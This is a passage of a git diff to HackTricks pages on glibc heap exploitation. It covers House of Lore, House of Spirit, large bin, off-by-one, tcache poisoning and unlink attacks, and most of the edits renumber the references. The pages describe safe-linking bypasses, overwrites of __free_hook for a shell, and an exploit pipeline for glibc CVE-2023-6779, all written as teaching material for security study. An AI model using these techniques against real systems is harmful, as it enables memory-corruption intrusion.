-`__sprintf_chk` is part of **_FORTIFY_SOURCE**. When it receives a **positive** `size` parameter it verifies that the resulting string fits inside the destination buffer. By passing **`-1` (0xFFFFFFFFFFFFFFFF)** the developers effectively **disabled the bounds check**, turning the fortified call back into a classic, unsafe `sprintf`. +`__sprintf_chk` is part of **_FORTIFY_SOURCE**. When it receives a **positive** `size` parameter it verifies that the resulting string fits inside the destination buffer. By passing **`-1` (0xFFFFFFFFFFFFFFFF)** the developers effectively **disabled the bounds check**, turning the fortified call back into a classic, unsafe `sprintf`.[[1]](#references) Supplying an overly long **`Host:`** header therefore lets an attacker **overflow the 0x80-byte chunk and clobber the metadata of the following heap chunk** (tcache / fast-bin / small-bin depending on the allocator). A crash can be reproduced with: @@ -110,8 +110,15 @@ Practical exploitation would require **heap grooming** to place a controllable o 2. Always pass the **correct buffer size** to the `_chk` family (or, even better, use `snprintf`). ## References -* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) -* [Synacktiv – Exploiting Titan Quest: Arbitrary Code Execution Through Malicious Custom Maps](https://synacktiv.com/en/publications/exploiting-titan-quest.html) + +- [1] [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) +- [2] [Synacktiv – Exploiting Titan Quest: Arbitrary Code Execution Through Malicious Custom Maps](https://synacktiv.com/en/publications/exploiting-titan-quest.html) +- [3] [Grooming the iOS Kernel Heap (Azeria Labs)](https://azeria-labs.com/grooming-the-ios-kernel-heap/) +- [4] [Nightmare: Heap Consolidation Explanation (guyinatuxedo)](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) +- [5] [Nightmare: Protostar Heap0 (guyinatuxedo)](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) +- [6] [Nightmare: Protostar Heap1 (guyinatuxedo)](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) +- [7] [ARM64 Reversing and Exploitation Part 1 – Simple Heap Overflow (8kSec)](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) +- [8] [Auth-or-out – Hack The Box (7rocky)](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md index 26f13878e64..c928d3cccd9 100644 --- a/src/binary-exploitation/libc-heap/house-of-lore.md +++ b/src/binary-exploitation/libc-heap/house-of-lore.md @@ -6,11 +6,11 @@ ### Code -- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) +- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)[[1]](#references) - This isn't working - Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) - This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected` -- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) +- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)[[3]](#references) ### Goal @@ -40,9 +40,9 @@ Then you will be able to allocate `fake0`. ## References -- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) -- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore) -- [https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) +- [1] [House of Lore (ctf-wiki)](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) +- [2] [House of Lore (heap-exploitation)](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore) +- [3] [House of Lore – guyinatuxedo](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-spirit.md b/src/binary-exploitation/libc-heap/house-of-spirit.md index 89b8ecba0ed..3fffd49c4e6 100644 --- a/src/binary-exploitation/libc-heap/house-of-spirit.md +++ b/src/binary-exploitation/libc-heap/house-of-spirit.md @@ -71,7 +71,7 @@ int main() { - Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes - Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address -**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good: +**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:[[3]](#references)
Fake chunk layout @@ -107,7 +107,7 @@ int main() { ### Tcache house of spirit (glibc ≥2.26) -- On modern glibc the **tcache fast-path** calls `tcache_put` before validating the next chunk size/`prev_inuse`, so only the current fake chunk has to look sane. +- On modern glibc the **tcache fast-path** calls `tcache_put` before validating the next chunk size/`prev_inuse`, so only the current fake chunk has to look sane.[[2]](#references) - Requirements: - Fake chunk must be **16-byte aligned** and not marked `IS_MMAPPED`/`NON_MAIN_ARENA`. - `size` must belong to a tcache bin and include the **prev_inuse bit set** (`size | 1`). @@ -130,15 +130,18 @@ void *q = malloc(0x30); // returns stack address fake+2 - **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF - **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\ - Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell. + Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.[[4]](#references) - [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) - **Glibc leak**: Uninitialized stack buffer. - - **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive. + - **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.[[5]](#references) ## References -- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit) -- [https://github.com/shellphish/how2heap/blob/master/glibc_2.34/tcache_house_of_spirit.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.34/tcache_house_of_spirit.c) +- [1] [House of Spirit (heap-exploitation)](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit) +- [2] [how2heap – tcache_house_of_spirit.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.34/tcache_house_of_spirit.c) +- [3] [House of Spirit – guyinatuxedo](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) +- [4] [hacklu14 oreo – guyinatuxedo](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html) +- [5] [Gloater. HTB Cyber Apocalypse CTF 2024](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md index 14603492bcb..fb3087d3a3b 100644 --- a/src/binary-exploitation/libc-heap/large-bin-attack.md +++ b/src/binary-exploitation/libc-heap/large-bin-attack.md @@ -11,7 +11,7 @@ For more information about what is a large bin check this page: bins-and-memory-allocations.md {{#endref}} -It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). +It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).[[1]](#references) Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met. @@ -47,15 +47,21 @@ if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks. -You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). +You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).[[2]](#references) ### Other examples -- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) +- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)[[3]](#references) - Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). - The write primitive is more complex, because `global_max_fast` is useless here. - FSOP is needed to finish the exploit. +## References + +- [1] [how2heap - large bin attack](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) +- [2] [guyinatuxedo - Large Bin Attack explanation](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html) +- [3] [La casa de papel. HackOn CTF 2024](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/off-by-one-overflow.md b/src/binary-exploitation/libc-heap/off-by-one-overflow.md index fa226165886..7537f21770a 100644 --- a/src/binary-exploitation/libc-heap/off-by-one-overflow.md +++ b/src/binary-exploitation/libc-heap/off-by-one-overflow.md @@ -69,13 +69,13 @@ Among other checks, now whenever a chunk is free the previous size is compared w - Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c. - Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2. -This image explains perfectly the attack: +This image explains perfectly the attack:[[4]](#references)

https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks

### Modern glibc hardening & bypass notes (>=2.32) -- Safe-Linking now protects every singly linked bin pointer by storing `fd = ptr ^ (chunk_addr >> 12)`, so an off-by-one that only flips the low byte of `size` usually also needs a heap leak to recompute the XOR mask before Tcache poisoning works. +- Safe-Linking now protects every singly linked bin pointer by storing `fd = ptr ^ (chunk_addr >> 12)`, so an off-by-one that only flips the low byte of `size` usually also needs a heap leak to recompute the XOR mask before Tcache poisoning works.[[3]](#references) - A practical leakless trick is to "double-protect" a pointer: encode a pointer you already control with `PROTECT_PTR`, then reuse the same gadget to encode your forged pointer so the alignment check passes without revealing new addresses. - Workflow for safe-linking + single-byte corruptions: 1. Grow the victim chunk until it fully covers a freed chunk you already control (overlapping-chunk setup). @@ -99,27 +99,27 @@ print(hex(reveal(encoded_fd, chunk))) # 0xdeadbeefcaf0 ### Recent real-world target: glibc __vsyslog_internal off-by-one (CVE-2023-6779) -- In January 2024 Qualys detailed CVE-2023-6779, an off-by-one inside `__vsyslog_internal()` that triggers when `syslog()/vsyslog()` format strings exceed `INT_MAX`, so the terminating `\0` corrupts the next chunk’s least-significant `size` byte on glibc 2.37–2.39 systems ([Qualys advisory](https://www.qualys.com/2024/01/30/cve-2023-6246/syslog.txt)). -- Their Fedora 38 exploit pipeline: +- In January 2024 Qualys detailed CVE-2023-6779, an off-by-one inside `__vsyslog_internal()` that triggers when `syslog()/vsyslog()` format strings exceed `INT_MAX`, so the terminating `\0` corrupts the next chunk’s least-significant `size` byte on glibc 2.37–2.39 systems ([Qualys advisory](https://www.qualys.com/2024/01/30/cve-2023-6246/syslog.txt)).[[1]](#references) +- Their Fedora 38 exploit pipeline:[[1]](#references) 1. Craft an overlong `openlog()` ident so `vasprintf` returns a heap buffer next to attacker-controlled data. 2. Call `syslog()` to smash the neighbor chunk’s `size | prev_inuse` byte, free it, and force consolidation that overlaps attacker data. 3. Use the overlapped view to corrupt `tcache_perthread_struct` metadata and aim the next allocation at `__free_hook`, overwriting it with `system`/a one_gadget for root. - To reproduce the corrupting write in a harness, fork with a gigantic `argv[0]`, call `openlog(NULL, LOG_PID, LOG_USER)` and then `syslog(LOG_INFO, "%s", payload)` where `payload = b"A" * 0x7fffffff`; `pwndbg`’s `heap bins` immediately shows the single-byte overwrite. -- Ubuntu tracks the bug as [CVE-2023-6779](https://ubuntu.com/security/CVE-2023-6779), documenting the same INT truncation that makes this a reliable off-by-one primitive. +- Ubuntu tracks the bug as [CVE-2023-6779](https://ubuntu.com/security/CVE-2023-6779), documenting the same INT truncation that makes this a reliable off-by-one primitive.[[2]](#references) -## Other Examples & References +## Other Examples -- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks) +- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)[[4]](#references) - [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) - Off-by-one because of `strlen` considering the next chunk's `size` field. - - Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning. + - Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.[[5]](#references) - [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks) - It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field. - Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write. - The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc. - - Finally the arbitrary write is abused to write into the address of `__free_hook` with a one gadget. + - Finally the arbitrary write is abused to write into the address of `__free_hook` with a one gadget.[[6]](#references) - [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb) - - There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content. + - There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.[[7]](#references) - In the writeup 5 initial chunks are created: - chunk1 (0x200) - chunk2 (0x50) @@ -148,8 +148,12 @@ print(hex(reveal(encoded_fd, chunk))) # 0xdeadbeefcaf0 ## References -- [Qualys Security Advisory – CVE-2023-6246/6779/6780](https://www.qualys.com/2024/01/30/cve-2023-6246/syslog.txt) -- [Ubuntu Security – CVE-2023-6779](https://ubuntu.com/security/CVE-2023-6779) -- [Breaking Safe-Linking in Modern Glibc – Google CTF 2022 "saas" analysis](https://blog.csdn.net/2402_86373248/article/details/148717274) +- [1] [Qualys Security Advisory – CVE-2023-6246/6779/6780](https://www.qualys.com/2024/01/30/cve-2023-6246/syslog.txt) +- [2] [Ubuntu Security – CVE-2023-6779](https://ubuntu.com/security/CVE-2023-6779) +- [3] [Breaking Safe-Linking in Modern Glibc – Google CTF 2022 "saas" analysis](https://blog.csdn.net/2402_86373248/article/details/148717274) +- [4] [Shrinking Free Chunks (heap-exploitation)](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks) +- [5] [Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) +- [6] [Asis CTF 2016 b00ks](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks) +- [7] [plaidctf 2015 plaiddb](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md index 134adca5510..76cb3222177 100644 --- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -31,7 +31,7 @@ stored_next = target ^ (chunk_addr >> 12) Therefore, a modern tcache poisoning usually needs either: - A **heap leak** to compute the protected pointer correctly, or - - A different primitive that bypasses/abuses safe-linking instead of forging the pointer directly. + - A different primitive that bypasses/abuses safe-linking instead of forging the pointer directly.[[1]](#references) - **Alignment checks** also became stricter, which is why a bad poisoned pointer now tends to crash with **`malloc(): unaligned tcache chunk detected`**. - **glibc 2.34+** removed the old malloc hooks from the active API, so classic end goals such as overwriting `__malloc_hook` / `__free_hook` should be treated as **version-specific legacy targets**, not as the default modern outcome. @@ -77,7 +77,7 @@ If the returned pointer is not aligned to the allocator expectations, `malloc()` ### Practical version notes - Modern PoCs usually keep **at least two freed entries** in the target tcache bin before poisoning it (`free(a); free(b); overwrite b->next`) instead of corrupting a single-element list. This matches current glibc behaviour better and avoids brittle one-chunk demos. -- On **glibc 2.42+**, tcache can optionally cache **much larger chunks** if the environment raises `glibc.malloc.tcache_max`. Therefore, assumptions such as "larger than `0x410` reaches unsorted/small/large bins" are no longer universally valid on tuned targets. +- On **glibc 2.42+**, tcache can optionally cache **much larger chunks** if the environment raises `glibc.malloc.tcache_max`. Therefore, assumptions such as "larger than `0x410` reaches unsorted/small/large bins" are no longer universally valid on tuned targets.[[3]](#references) - If a local lab unexpectedly keeps large chunks inside tcache, either **fill that tcache bin first** or temporarily force the classic allocator paths while debugging: ```bash @@ -100,7 +100,7 @@ Useful modern variants to recognise: - **House of Water**: turns a UAF/overflow into **control of `tcache_perthread_struct`** and is a good modern answer when safe-linking makes direct freelist poisoning awkward. - **Safe-link double protect**: if a primitive lets an already protected pointer go through `PROTECT_PTR` again, the protection can effectively cancel out (`(ptr ^ key) ^ key = ptr`), giving a practical **leakless or low-leak safe-linking bypass**. - **Tcache relative write**: if you can first corrupt allocator parameters such as `mp_.tcache_bins`, glibc may compute oversized `tc_idx` values and write **tcache metadata out of bounds** into later heap memory. -- **glibc 2.42 metadata hijacking**: recent how2heap notes show that `tcache_perthread_struct` may be initialized later and not necessarily be the first heap allocation anymore, so an overflow/UAF on a large earlier chunk can directly overwrite `entries[]` and make the next small `malloc()` return an attacker-chosen address. +- **glibc 2.42 metadata hijacking**: recent how2heap notes show that `tcache_perthread_struct` may be initialized later and not necessarily be the first heap allocation anymore, so an overflow/UAF on a large earlier chunk can directly overwrite `entries[]` and make the next small `malloc()` return an attacker-chosen address.[[2]](#references) ### Modern variants worth knowing @@ -127,47 +127,55 @@ On glibc 2.32+ the core problem is not "how do I overwrite `next`?" but "how do - Leak the heap by printing or reading a **freed tcache chunk**. - Use an overlap/UAF to recover the heap base and then encode the poisoned pointer correctly. - Abuse a primitive that effectively applies the protection logic **twice** or that corrupts the **tcache metadata** rather than a single entry. -- Read back mangled pointers from freed chunks and use helpers such as `decrypt_safe_linking` to recover the real pointer / heap base before forging the poisoned `next`. +- Read back mangled pointers from freed chunks and use helpers such as `decrypt_safe_linking` to recover the real pointer / heap base before forging the poisoned `next`.[[4]](#references) ## Examples -- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) +- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)[[5]](#references) - **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**. - **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\ We will abuse this to **overwrite the next chunk's FD pointer** to point to a sensitive target, so then later allocations return a controlled pointer and give an arbitrary write primitive. -- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) +- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)[[6]](#references) - **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one) - **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell. - This is still a good **historical** example, but remember that the easy version of this attack does **not** generalise to glibc `2.32+` / `2.34+` without accounting for safe-linking and hook removal. -- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) +- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)[[7]](#references) - The main vuln here is the capacity to `free` any address in the heap by indicating its offset - **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value `0x100`**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value `0x100`. - Then, this value looks like there is a chunk of size `0x100`, allowing the attacker to `free` this address. - Then, **allocating** a chunk of size **`0x100`**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes. -- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) +- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)[[8]](#references) - Same vulnerability as before with one extra restriction - **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so its address is added to the tcache index of its size. Then, allocating that size returns the **tcache metadata chunk itself**, which allows poisoning other indexes. -- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) +- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)[[9]](#references) - **Write After Free** to add a number to the `fd` pointer. - A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy. - **Glibc leak** through `stdout` (FSOP). - **Tcache poisoning** to get an arbitrary write primitive. -- [**mailman. ImaginaryCTF 2023**](https://sekai.team/blog/imaginary-ctf-2023/mailman) +- [**mailman. ImaginaryCTF 2023**](https://sekai.team/blog/imaginary-ctf-2023/mailman)[[10]](#references) - Modern **glibc 2.35** challenge. - The exploit chain uses a **heap leak** to defeat safe-linking, then **House of Botcake** to create the overlap needed for a modern tcache poisoning. - Good example of using tcache poisoning as a step towards **FSOP/ROP**, not just a hook overwrite. -- [**catastrophe. DiceCTF 2022**](https://ret2school.github.io/post/catastrophe/) +- [**catastrophe. DiceCTF 2022**](https://ret2school.github.io/post/catastrophe/)[[11]](#references) - Modern **glibc 2.35** challenge. - Leak a heap pointer by reading a **freed tcache entry**, encode the poisoned pointer correctly, then use **House of Botcake** to obtain the arbitrary write needed for the rest of the chain. -- [**high frequency troubles. picoCTF 2024**](https://pwn2ooown.tech/ctf/writeup/2024/06/10/picoCTF-HFT) +- [**high frequency troubles. picoCTF 2024**](https://pwn2ooown.tech/ctf/writeup/2024/06/10/picoCTF-HFT)[[12]](#references) - Modern **glibc 2.35** challenge with **no direct `free()` primitive**. - The exploit first manufactures a free-like primitive from the **top chunk** (House of Orange / House of Tangerine style) and then pivots into **tcache poisoning** and a modern post-write target that still works after hook removal. ## References -- [https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/](https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/) -- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap) -- [https://sourceware.org/pipermail/libc-alpha/2025-July/168994.html](https://sourceware.org/pipermail/libc-alpha/2025-July/168994.html) -- [https://corgi.rip/posts/leakless_heap_1/](https://corgi.rip/posts/leakless_heap_1/) +- [1] [Check Point Research - Safe-Linking: eliminating a 20-year-old malloc() exploit primitive](https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/) +- [2] [shellphish/how2heap (GitHub)](https://github.com/shellphish/how2heap) +- [3] [libc-alpha mailing list - tcache changes (July 2025)](https://sourceware.org/pipermail/libc-alpha/2025-July/168994.html) +- [4] [corgi.rip - Leakless heap exploitation (part 1)](https://corgi.rip/posts/leakless_heap_1/) +- [5] [guyinatuxedo - dcquals19 babyheap](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) +- [6] [guyinatuxedo - plaid19 cpp](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) +- [7] [guyinatuxedo - csaw19 popping_caps0](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) +- [8] [guyinatuxedo - csaw19 popping_caps1](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) +- [9] [Math Door. HTB Cyber Apocalypse CTF 2023](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) +- [10] [mailman. ImaginaryCTF 2023](https://sekai.team/blog/imaginary-ctf-2023/mailman) +- [11] [catastrophe. DiceCTF 2022](https://ret2school.github.io/post/catastrophe/) +- [12] [high frequency troubles. picoCTF 2024](https://pwn2ooown.tech/ctf/writeup/2024/06/10/picoCTF-HFT) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unlink-attack.md b/src/binary-exploitation/libc-heap/unlink-attack.md index cd2c1ed60f5..9c49e9bc873 100644 --- a/src/binary-exploitation/libc-heap/unlink-attack.md +++ b/src/binary-exploitation/libc-heap/unlink-attack.md @@ -81,7 +81,7 @@ int main() { ### Modern notes -- The primitive is **not dead after tcache**. The main problem is that if a chunk is handled by **tcache** or **fastbins**, `unlink_chunk()` is never reached. Therefore, modern PoCs usually use **sizes outside tcache** (for example `0x420` in the current `how2heap` `unsafe_unlink.c`) or first fill the target tcache bin. +- The primitive is **not dead after tcache**. The main problem is that if a chunk is handled by **tcache** or **fastbins**, `unlink_chunk()` is never reached. Therefore, modern PoCs usually use **sizes outside tcache** (for example `0x420` in the current `how2heap` `unsafe_unlink.c`) or first fill the target tcache bin.[[2]](#references) - **Safe-linking** protects the singly linked lists used by **tcache** and **fastbins**, but it does **not** protect the doubly linked `fd`/`bk` pointers used by the unlink checks. It still matters in practice because many modern exploits use unsafe unlink only to get an overlap and then finish with [Tcache Bin Attack](tcache-bin-attack.md). - In modern challenges this technique is often just the **first stage**: create an overlap / move a pointer table / corrupt a known pointer, and then chain that into a libc leak, heap leak, GOT overwrite, FSOP, or tcache poisoning. @@ -105,7 +105,7 @@ This attack allows an attacker to **change a pointer to a chunk so it points 3 q ### Attack -- There are a couple of chunks (`chunk1` and `chunk2`). +- There are a couple of chunks (`chunk1` and `chunk2`).[[1]](#references) - The attacker controls the content of `chunk1` and the headers of `chunk2`. - Inside `chunk1` the attacker creates a fake free chunk: - The fake chunk `size` must match the forged `prev_size` that will later be read from the next chunk. Otherwise glibc aborts with `corrupted size vs. prev_size while consolidating`. @@ -130,15 +130,15 @@ This attack allows an attacker to **change a pointer to a chunk so it points 3 q ## References -- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit) -- [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/unsafe_unlink.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/unsafe_unlink.c) -- [https://7rocky.github.io/en/ctf/htb-challenges/pwn/dream-diary-chapter-3/](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dream-diary-chapter-3/) +- [1] [Heap Exploitation – Unlink Exploit (Dhaval 